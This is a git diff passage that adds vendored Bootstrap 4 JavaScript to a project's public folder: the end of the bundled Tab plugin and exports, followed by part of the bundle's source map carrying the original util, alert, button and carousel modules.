+      DROPDOWN_ACTIVE_CHILD: '> .dropdown-menu .active'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Tab =
+    /*#__PURE__*/
+    function () {
+      function Tab(element) {
+        this._element = element;
+      } // Getters
+
+
+      var _proto = Tab.prototype;
+
+      // Public
+      _proto.show = function show() {
+        var _this = this;
+
+        if (this._element.parentNode && this._element.parentNode.nodeType === Node.ELEMENT_NODE && $$$1(this._element).hasClass(ClassName.ACTIVE) || $$$1(this._element).hasClass(ClassName.DISABLED)) {
+          return;
+        }
+
+        var target;
+        var previous;
+        var listElement = $$$1(this._element).closest(Selector.NAV_LIST_GROUP)[0];
+        var selector = Util.getSelectorFromElement(this._element);
+
+        if (listElement) {
+          var itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE;
+          previous = $$$1.makeArray($$$1(listElement).find(itemSelector));
+          previous = previous[previous.length - 1];
+        }
+
+        var hideEvent = $$$1.Event(Event.HIDE, {
+          relatedTarget: this._element
+        });
+        var showEvent = $$$1.Event(Event.SHOW, {
+          relatedTarget: previous
+        });
+
+        if (previous) {
+          $$$1(previous).trigger(hideEvent);
+        }
+
+        $$$1(this._element).trigger(showEvent);
+
+        if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        if (selector) {
+          target = $$$1(selector)[0];
+        }
+
+        this._activate(this._element, listElement);
+
+        var complete = function complete() {
+          var hiddenEvent = $$$1.Event(Event.HIDDEN, {
+            relatedTarget: _this._element
+          });
+          var shownEvent = $$$1.Event(Event.SHOWN, {
+            relatedTarget: previous
+          });
+          $$$1(previous).trigger(hiddenEvent);
+          $$$1(_this._element).trigger(shownEvent);
+        };
+
+        if (target) {
+          this._activate(target, target.parentNode, complete);
+        } else {
+          complete();
+        }
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        this._element = null;
+      }; // Private
+
+
+      _proto._activate = function _activate(element, container, callback) {
+        var _this2 = this;
+
+        var activeElements;
+
+        if (container.nodeName === 'UL') {
+          activeElements = $$$1(container).find(Selector.ACTIVE_UL);
+        } else {
+          activeElements = $$$1(container).children(Selector.ACTIVE);
+        }
+
+        var active = activeElements[0];
+        var isTransitioning = callback && active && $$$1(active).hasClass(ClassName.FADE);
+
+        var complete = function complete() {
+          return _this2._transitionComplete(element, active, callback);
+        };
+
+        if (active && isTransitioning) {
+          var transitionDuration = Util.getTransitionDurationFromElement(active);
+          $$$1(active).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
+        } else {
+          complete();
+        }
+      };
+
+      _proto._transitionComplete = function _transitionComplete(element, active, callback) {
+        if (active) {
+          $$$1(active).removeClass(ClassName.SHOW + " " + ClassName.ACTIVE);
+          var dropdownChild = $$$1(active.parentNode).find(Selector.DROPDOWN_ACTIVE_CHILD)[0];
+
+          if (dropdownChild) {
+            $$$1(dropdownChild).removeClass(ClassName.ACTIVE);
+          }
+
+          if (active.getAttribute('role') === 'tab') {
+            active.setAttribute('aria-selected', false);
+          }
+        }
+
+        $$$1(element).addClass(ClassName.ACTIVE);
+
+        if (element.getAttribute('role') === 'tab') {
+          element.setAttribute('aria-selected', true);
+        }
+
+        Util.reflow(element);
+        $$$1(element).addClass(ClassName.SHOW);
+
+        if (element.parentNode && $$$1(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {
+          var dropdownElement = $$$1(element).closest(Selector.DROPDOWN)[0];
+
+          if (dropdownElement) {
+            $$$1(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE);
+          }
+
+          element.setAttribute('aria-expanded', true);
+        }
+
+        if (callback) {
+          callback();
+        }
+      }; // Static
+
+
+      Tab._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var $this = $$$1(this);
+          var data = $this.data(DATA_KEY);
+
+          if (!data) {
+            data = new Tab(this);
+            $this.data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(Tab, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }]);
+
+      return Tab;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {
+      event.preventDefault();
+
+      Tab._jQueryInterface.call($$$1(this), 'show');
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Tab._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Tab;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Tab._jQueryInterface;
+    };
+
+    return Tab;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.0.0): index.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  (function ($$$1) {
+    if (typeof $$$1 === 'undefined') {
+      throw new TypeError('Bootstrap\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\'s JavaScript.');
+    }
+
+    var version = $$$1.fn.jquery.split(' ')[0].split('.');
+    var minMajor = 1;
+    var ltMajor = 2;
+    var minMinor = 9;
+    var minPatch = 1;
+    var maxMajor = 4;
+
+    if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {
+      throw new Error('Bootstrap\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0');
+    }
+  })($);
+
+  exports.Util = Util;
+  exports.Alert = Alert;
+  exports.Button = Button;
+  exports.Carousel = Carousel;
+  exports.Collapse = Collapse;
+  exports.Dropdown = Dropdown;
+  exports.Modal = Modal;
+  exports.Popover = Popover;
+  exports.Scrollspy = ScrollSpy;
+  exports.Tab = Tab;
+  exports.Tooltip = Tooltip;
+
+  Object.defineProperty(exports, '__esModule', { value: true });
+
+})));
+//# sourceMappingURL=bootstrap.bundle.js.map
diff --git a/public/js/bootstrap.bundle.js.map b/public/js/bootstrap.bundle.js.map
new file mode 100644
index 0000000..ca9fca3
--- /dev/null
+++ b/public/js/bootstrap.bundle.js.map
@@ -0,0 +1 @@
+{"version":3,"file":"bootstrap.bundle.js","sources":["../../rollupPluginBabelHelpers","../../js/src/util.js","../../js/src/alert.js","../../js/src/button.js","../../js/src/carousel.js","../../js/src/collapse.js","../../node_modules/popper.js/dist/esm/popper.js","../../js/src/dropdown.js","../../js/src/modal.js","../../js/src/tooltip.js","../../js/src/popover.js","../../js/src/scrollspy.js","../../js/src/tab.js","../../js/src/index.js"],"sourcesContent":["export { _createClass as createClass, _defineProperty as defineProperty, _objectSpread as objectSpread, _inheritsLoose as inheritsLoose };\n\nfunction _defineProperties(target, props) {\n  for (var i = 0; i < props.length; i++) {\n    var descriptor = props[i];\n    descriptor.enumerable = descriptor.enumerable || false;\n    descriptor.configurable = true;\n    if (\"value\" in descriptor) descriptor.writable = true;\n    Object.defineProperty(target, descriptor.key, descriptor);\n  }\n}\n\nfunction _createClass(Constructor, protoProps, staticProps) {\n  if (protoProps) _defineProperties(Constructor.prototype, protoProps);\n  if (staticProps) _defineProperties(Constructor, staticProps);\n  return Constructor;\n}\n\nfunction _defineProperty(obj, key, value) {\n  if (key in obj) {\n    Object.defineProperty(obj, key, {\n      value: value,\n      enumerable: true,\n      configurable: true,\n      writable: true\n    });\n  } else {\n    obj[key] = value;\n  }\n\n  return obj;\n}\n\nfunction _objectSpread(target) {\n  for (var i = 1; i < arguments.length; i++) {\n    var source = arguments[i] != null ? arguments[i] : {};\n    var ownKeys = Object.keys(source);\n\n    if (typeof Object.getOwnPropertySymbols === 'function') {\n      ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {\n        return Object.getOwnPropertyDescriptor(source, sym).enumerable;\n      }));\n    }\n\n    ownKeys.forEach(function (key) {\n      _defineProperty(target, key, source[key]);\n    });\n  }\n\n  return target;\n}\n\nfunction _inheritsLoose(subClass, superClass) {\n  subClass.prototype = Object.create(superClass.prototype);\n  subClass.prototype.constructor = subClass;\n  subClass.__proto__ = superClass;\n}","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): util.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Util = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Private TransitionEnd Helpers\n   * ------------------------------------------------------------------------\n   */\n\n  const TRANSITION_END = 'transitionend'\n  const MAX_UID = 1000000\n  const MILLISECONDS_MULTIPLIER = 1000\n\n  // Shoutout AngusCroll (https://goo.gl/pxwQGp)\n  function toType(obj) {\n    return {}.toString.call(obj).match(/\\s([a-z]+)/i)[1].toLowerCase()\n  }\n\n  function getSpecialTransitionEndEvent() {\n    return {\n      bindType: TRANSITION_END,\n      delegateType: TRANSITION_END,\n      handle(event) {\n        if ($(event.target).is(this)) {\n          return event.handleObj.handler.apply(this, arguments) // eslint-disable-line prefer-rest-params\n        }\n        return undefined // eslint-disable-line no-undefined\n      }\n    }\n  }\n\n  function transitionEndEmulator(duration) {\n    let called = false\n\n    $(this).one(Util.TRANSITION_END, () => {\n      called = true\n    })\n\n    setTimeout(() => {\n      if (!called) {\n        Util.triggerTransitionEnd(this)\n      }\n    }, duration)\n\n    return this\n  }\n\n  function setTransitionEndSupport() {\n    $.fn.emulateTransitionEnd = transitionEndEmulator\n    $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent()\n  }\n\n  /**\n   * --------------------------------------------------------------------------\n   * Public Util Api\n   * --------------------------------------------------------------------------\n   */\n\n  const Util = {\n\n    TRANSITION_END: 'bsTransitionEnd',\n\n    getUID(prefix) {\n      do {\n        // eslint-disable-next-line no-bitwise\n        prefix += ~~(Math.random() * MAX_UID) // \"~~\" acts like a faster Math.floor() here\n      } while (document.getElementById(prefix))\n      return prefix\n    },\n\n    getSelectorFromElement(element) {\n      let selector = element.getAttribute('data-target')\n      if (!selector || selector === '#') {\n        selector = element.getAttribute('href') || ''\n      }\n\n      try {\n        const $selector = $(document).find(selector)\n        return $selector.length > 0 ? selector : null\n      } catch (err) {\n        return null\n      }\n    },\n\n    getTransitionDurationFromElement(element) {\n      if (!element) {\n        return 0\n      }\n\n      // Get transition-duration of the element\n      let transitionDuration = $(element).css('transition-duration')\n      const floatTransitionDuration = parseFloat(transitionDuration)\n\n      // Return 0 if element or transition duration is not found\n      if (!floatTransitionDuration) {\n        return 0\n      }\n\n      // If multiple durations are defined, take the first\n      transitionDuration = transitionDuration.split(',')[0]\n\n      return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER\n    },\n\n    reflow(element) {\n      return element.offsetHeight\n    },\n\n    triggerTransitionEnd(element) {\n      $(element).trigger(TRANSITION_END)\n    },\n\n    // TODO: Remove in v5\n    supportsTransitionEnd() {\n      return Boolean(TRANSITION_END)\n    },\n\n    isElement(obj) {\n      return (obj[0] || obj).nodeType\n    },\n\n    typeCheckConfig(componentName, config, configTypes) {\n      for (const property in configTypes) {\n        if (Object.prototype.hasOwnProperty.call(configTypes, property)) {\n          const expectedTypes = configTypes[property]\n          const value         = config[property]\n          const valueType     = value && Util.isElement(value)\n            ? 'element' : toType(value)\n\n          if (!new RegExp(expectedTypes).test(valueType)) {\n            throw new Error(\n              `${componentName.toUpperCase()}: ` +\n              `Option \"${property}\" provided type \"${valueType}\" ` +\n              `but expected type \"${expectedTypes}\".`)\n          }\n        }\n      }\n    }\n  }\n\n  setTransitionEndSupport()\n\n  return Util\n})($)\n\nexport default Util\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Alert = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'alert'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.alert'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const Selector = {\n    DISMISS : '[data-dismiss=\"alert\"]'\n  }\n\n  const Event = {\n    CLOSE          : `close${EVENT_KEY}`,\n    CLOSED         : `closed${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    ALERT : 'alert',\n    FADE  : 'fade',\n    SHOW  : 'show'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Alert {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    close(element) {\n      element = element || this._element\n\n      const rootElement = this._getRootElement(element)\n      const customEvent = this._triggerCloseEvent(rootElement)\n\n      if (customEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._removeElement(rootElement)\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Private\n\n    _getRootElement(element) {\n      const selector = Util.getSelectorFromElement(element)\n      let parent     = false\n\n      if (selector) {\n        parent = $(selector)[0]\n      }\n\n      if (!parent) {\n        parent = $(element).closest(`.${ClassName.ALERT}`)[0]\n      }\n\n      return parent\n    }\n\n    _triggerCloseEvent(element) {\n      const closeEvent = $.Event(Event.CLOSE)\n\n      $(element).trigger(closeEvent)\n      return closeEvent\n    }\n\n    _removeElement(element) {\n      $(element).removeClass(ClassName.SHOW)\n\n      if (!$(element).hasClass(ClassName.FADE)) {\n        this._destroyElement(element)\n        return\n      }\n\n      const transitionDuration = Util.getTransitionDurationFromElement(element)\n\n      $(element)\n        .one(Util.TRANSITION_END, (event) => this._destroyElement(element, event))\n        .emulateTransitionEnd(transitionDuration)\n    }\n\n    _destroyElement(element) {\n      $(element)\n        .detach()\n        .trigger(Event.CLOSED)\n        .remove()\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $element = $(this)\n        let data       = $element.data(DATA_KEY)\n\n        if (!data) {\n          data = new Alert(this)\n          $element.data(DATA_KEY, data)\n        }\n\n        if (config === 'close') {\n          data[config](this)\n        }\n      })\n    }\n\n    static _handleDismiss(alertInstance) {\n      return function (event) {\n        if (event) {\n          event.preventDefault()\n        }\n\n        alertInstance.close(this)\n      }\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(\n    Event.CLICK_DATA_API,\n    Selector.DISMISS,\n    Alert._handleDismiss(new Alert())\n  )\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME]             = Alert._jQueryInterface\n  $.fn[NAME].Constructor = Alert\n  $.fn[NAME].noConflict  = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Alert._jQueryInterface\n  }\n\n  return Alert\n})($)\n\nexport default Alert\n","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Button = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'button'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.button'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const ClassName = {\n    ACTIVE : 'active',\n    BUTTON : 'btn',\n    FOCUS  : 'focus'\n  }\n\n  const Selector = {\n    DATA_TOGGLE_CARROT : '[data-toggle^=\"button\"]',\n    DATA_TOGGLE        : '[data-toggle=\"buttons\"]',\n    INPUT              : 'input',\n    ACTIVE             : '.active',\n    BUTTON             : '.btn'\n  }\n\n  const Event = {\n    CLICK_DATA_API      : `click${EVENT_KEY}${DATA_API_KEY}`,\n    FOCUS_BLUR_DATA_API : `focus${EVENT_KEY}${DATA_API_KEY} ` +\n                            `blur${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Button {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    toggle() {\n      let triggerChangeEvent = true\n      let addAriaPressed = true\n      const rootElement = $(this._element).closest(\n        Selector.DATA_TOGGLE\n      )[0]\n\n      if (rootElement) {\n        const input = $(this._element).find(Selector.INPUT)[0]\n\n        if (input) {\n          if (input.type === 'radio') {\n            if (input.checked &&\n              $(this._element).hasClass(ClassName.ACTIVE)) {\n              triggerChangeEvent = false\n            } else {\n              const activeElement = $(rootElement).find(Selector.ACTIVE)[0]\n\n              if (activeElement) {\n                $(activeElement).removeClass(ClassName.ACTIVE)\n              }\n            }\n          }\n\n          if (triggerChangeEvent) {\n            if (input.hasAttribute('disabled') ||\n              rootElement.hasAttribute('disabled') ||\n              input.classList.contains('disabled') ||\n              rootElement.classList.contains('disabled')) {\n              return\n            }\n            input.checked = !$(this._element).hasClass(ClassName.ACTIVE)\n            $(input).trigger('change')\n          }\n\n          input.focus()\n          addAriaPressed = false\n        }\n      }\n\n      if (addAriaPressed) {\n        this._element.setAttribute('aria-pressed',\n          !$(this._element).hasClass(ClassName.ACTIVE))\n      }\n\n      if (triggerChangeEvent) {\n        $(this._element).toggleClass(ClassName.ACTIVE)\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n\n        if (!data) {\n          data = new Button(this)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (config === 'toggle') {\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n      event.preventDefault()\n\n      let button = event.target\n\n      if (!$(button).hasClass(ClassName.BUTTON)) {\n        button = $(button).closest(Selector.BUTTON)\n      }\n\n      Button._jQueryInterface.call($(button), 'toggle')\n    })\n    .on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n      const button = $(event.target).closest(Selector.BUTTON)[0]\n      $(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type))\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Button._jQueryInterface\n  $.fn[NAME].Constructor = Button\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Button._jQueryInterface\n  }\n\n  return Button\n})($)\n\nexport default Button\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Carousel = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                   = 'carousel'\n  const VERSION                = '4.1.0'\n  const DATA_KEY               = 'bs.carousel'\n  const EVENT_KEY              = `.${DATA_KEY}`\n  const DATA_API_KEY           = '.data-api'\n  const JQUERY_NO_CONFLICT     = $.fn[NAME]\n  const ARROW_LEFT_KEYCODE     = 37 // KeyboardEvent.which value for left arrow key\n  const ARROW_RIGHT_KEYCODE    = 39 // KeyboardEvent.which value for right arrow key\n  const TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\n\n  const Default = {\n    interval : 5000,\n    keyboard : true,\n    slide    : false,\n    pause    : 'hover',\n    wrap     : true\n  }\n\n  const DefaultType = {\n    interval : '(number|boolean)',\n    keyboard : 'boolean',\n    slide    : '(boolean|string)',\n    pause    : '(string|boolean)',\n    wrap     : 'boolean'\n  }\n\n  const Direction = {\n    NEXT     : 'next',\n    PREV     : 'prev',\n    LEFT     : 'left',\n    RIGHT    : 'right'\n  }\n\n  const Event = {\n    SLIDE          : `slide${EVENT_KEY}`,\n    SLID           : `slid${EVENT_KEY}`,\n    KEYDOWN        : `keydown${EVENT_KEY}`,\n    MOUSEENTER     : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE     : `mouseleave${EVENT_KEY}`,\n    TOUCHEND       : `touchend${EVENT_KEY}`,\n    LOAD_DATA_API  : `load${EVENT_KEY}${DATA_API_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    CAROUSEL : 'carousel',\n    ACTIVE   : 'active',\n    SLIDE    : 'slide',\n    RIGHT    : 'carousel-item-right',\n    LEFT     : 'carousel-item-left',\n    NEXT     : 'carousel-item-next',\n    PREV     : 'carousel-item-prev',\n    ITEM     : 'carousel-item'\n  }\n\n  const Selector = {\n    ACTIVE      : '.active',\n    ACTIVE_ITEM : '.active.carousel-item',\n    ITEM        : '.carousel-item',\n    NEXT_PREV   : '.carousel-item-next, .carousel-item-prev',\n    INDICATORS  : '.carousel-indicators',\n    DATA_SLIDE  : '[data-slide], [data-slide-to]',\n    DATA_RIDE   : '[data-ride=\"carousel\"]'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Carousel {\n    constructor(element, config) {\n      this._items              = null\n      this._interval           = null\n      this._activeElement      = null\n\n      this._isPaused           = false\n      this._isSliding          = false\n\n      this.touchTimeout        = null\n\n      this._config             = this._getConfig(config)\n      this._element            = $(element)[0]\n      this._indicatorsElement  = $(this._element).find(Selector.INDICATORS)[0]\n\n      this._addEventListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    next() {\n      if (!this._isSliding) {\n        this._slide(Direction.NEXT)\n      }\n    }\n\n    nextWhenVisible() {\n      // Don't call next when the page isn't visible\n      // or the carousel or its parent isn't visible\n      if (!document.hidden &&\n        ($(this._element).is(':visible') && $(this._element).css('visibility') !== 'hidden')) {\n        this.next()\n      }\n    }\n\n    prev() {\n      if (!this._isSliding) {\n        this._slide(Direction.PREV)\n      }\n    }\n\n    pause(event) {\n      if (!event) {\n        this._isPaused = true\n      }\n\n      if ($(this._element).find(Selector.NEXT_PREV)[0]) {\n        Util.triggerTransitionEnd(this._element)\n        this.cycle(true)\n      }\n\n      clearInterval(this._interval)\n      this._interval = null\n    }\n\n    cycle(event) {\n      if (!event) {\n        this._isPaused = false\n      }\n\n      if (this._interval) {\n        clearInterval(this._interval)\n        this._interval = null\n      }\n\n      if (this._config.interval && !this._isPaused) {\n        this._interval = setInterval(\n          (document.visibilityState ? this.nextWhenVisible : this.next).bind(this),\n          this._config.interval\n        )\n      }\n    }\n\n    to(index) {\n      this._activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n\n      const activeIndex = this._getItemIndex(this._activeElement)\n\n      if (index > this._items.length - 1 || index < 0) {\n        return\n      }\n\n      if (this._isSliding) {\n        $(this._element).one(Event.SLID, () => this.to(index))\n        return\n      }\n\n      if (activeIndex === index) {\n        this.pause()\n        this.cycle()\n        return\n      }\n\n      const direction = index > activeIndex\n        ? Direction.NEXT\n        : Direction.PREV\n\n      this._slide(direction, this._items[index])\n    }\n\n    dispose() {\n      $(this._element).off(EVENT_KEY)\n      $.removeData(this._element, DATA_KEY)\n\n      this._items             = null\n      this._config            = null\n      this._element           = null\n      this._interval          = null\n      this._isPaused          = null\n      this._isSliding         = null\n      this._activeElement     = null\n      this._indicatorsElement = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _addEventListeners() {\n      if (this._config.keyboard) {\n        $(this._element)\n          .on(Event.KEYDOWN, (event) => this._keydown(event))\n      }\n\n      if (this._config.pause === 'hover') {\n        $(this._element)\n          .on(Event.MOUSEENTER, (event) => this.pause(event))\n          .on(Event.MOUSELEAVE, (event) => this.cycle(event))\n        if ('ontouchstart' in document.documentElement) {\n          // If it's a touch-enabled device, mouseenter/leave are fired as\n          // part of the mouse compatibility events on first tap - the carousel\n          // would stop cycling until user tapped out of it;\n          // here, we listen for touchend, explicitly pause the carousel\n          // (as if it's the second time we tap on it, mouseenter compat event\n          // is NOT fired) and after a timeout (to allow for mouse compatibility\n          // events to fire) we explicitly restart cycling\n          $(this._element).on(Event.TOUCHEND, () => {\n            this.pause()\n            if (this.touchTimeout) {\n              clearTimeout(this.touchTimeout)\n            }\n            this.touchTimeout = setTimeout((event) => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n          })\n        }\n      }\n    }\n\n    _keydown(event) {\n      if (/input|textarea/i.test(event.target.tagName)) {\n        return\n      }\n\n      switch (event.which) {\n        case ARROW_LEFT_KEYCODE:\n          event.preventDefault()\n          this.prev()\n          break\n        case ARROW_RIGHT_KEYCODE:\n          event.preventDefault()\n          this.next()\n          break\n        default:\n      }\n    }\n\n    _getItemIndex(element) {\n      this._items = $.makeArray($(element).parent().find(Selector.ITEM))\n      return this._items.indexOf(element)\n    }\n\n    _getItemByDirection(direction, activeElement) {\n      const isNextDirection = direction === Direction.NEXT\n      const isPrevDirection = direction === Direction.PREV\n      const activeIndex     = this._getItemIndex(activeElement)\n      const lastItemIndex   = this._items.length - 1\n      const isGoingToWrap   = isPrevDirection && activeIndex === 0 ||\n                              isNextDirection && activeIndex === lastItemIndex\n\n      if (isGoingToWrap && !this._config.wrap) {\n        return activeElement\n      }\n\n      const delta     = direction === Direction.PREV ? -1 : 1\n      const itemIndex = (activeIndex + delta) % this._items.length\n\n      return itemIndex === -1\n        ? this._items[this._items.length - 1] : this._items[itemIndex]\n    }\n\n    _triggerSlideEvent(relatedTarget, eventDirectionName) {\n      const targetIndex = this._getItemIndex(relatedTarget)\n      const fromIndex = this._getItemIndex($(this._element).find(Selector.ACTIVE_ITEM)[0])\n      const slideEvent = $.Event(Event.SLIDE, {\n        relatedTarget,\n        direction: eventDirectionName,\n        from: fromIndex,\n        to: targetIndex\n      })\n\n      $(this._element).trigger(slideEvent)\n\n      return slideEvent\n    }\n\n    _setActiveIndicatorElement(element) {\n      if (this._indicatorsElement) {\n        $(this._indicatorsElement)\n          .find(Selector.ACTIVE)\n          .removeClass(ClassName.ACTIVE)\n\n        const nextIndicator = this._indicatorsElement.children[\n          this._getItemIndex(element)\n        ]\n\n        if (nextIndicator) {\n          $(nextIndicator).addClass(ClassName.ACTIVE)\n        }\n      }\n    }\n\n    _slide(direction, element) {\n      const activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n      const activeElementIndex = this._getItemIndex(activeElement)\n      const nextElement   = element || activeElement &&\n        this._getItemByDirection(direction, activeElement)\n      const nextElementIndex = this._getItemIndex(nextElement)\n      const isCycling = Boolean(this._interval)\n\n      let directionalClassName\n      let orderClassName\n      let eventDirectionName\n\n      if (direction === Direction.NEXT) {\n        directionalClassName = ClassName.LEFT\n        orderClassName = ClassName.NEXT\n        eventDirectionName = Direction.LEFT\n      } else {\n        directionalClassName = ClassName.RIGHT\n        orderClassName = ClassName.PREV\n        eventDirectionName = Direction.RIGHT\n      }\n\n      if (nextElement && $(nextElement).hasClass(ClassName.ACTIVE)) {\n        this._isSliding = false\n        return\n      }\n\n      const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName)\n      if (slideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (!activeElement || !nextElement) {\n        // Some weirdness is happening, so we bail\n        return\n      }\n\n      this._isSliding = true\n\n      if (isCycling) {\n        this.pause()\n      }\n\n      this._setActiveIndicatorElement(nextElement)\n\n      const slidEvent = $.Event(Event.SLID, {\n        relatedTarget: nextElement,\n        direction: eventDirectionName,\n        from: activeElementIndex,\n        to: nextElementIndex\n      })\n\n      if ($(this._element).hasClass(ClassName.SLIDE)) {\n        $(nextElement).addClass(orderClassName)\n\n        Util.reflow(nextElement)\n\n        $(activeElement).addClass(directionalClassName)\n        $(nextElement).addClass(directionalClassName)\n\n        const transitionDuration = Util.getTransitionDurationFromElement(activeElement)\n\n        $(activeElement)\n          .one(Util.TRANSITION_END, () => {\n            $(nextElement)\n              .removeClass(`${directionalClassName} ${orderClassName}`)\n              .addClass(ClassName.ACTIVE)\n\n            $(activeElement).removeClass(`${ClassName.ACTIVE} ${orderClassName} ${directionalClassName}`)\n\n            this._isSliding = false\n\n            setTimeout(() => $(this._element).trigger(slidEvent), 0)\n          })\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        $(activeElement).removeClass(ClassName.ACTIVE)\n        $(nextElement).addClass(ClassName.ACTIVE)\n\n        this._isSliding = false\n    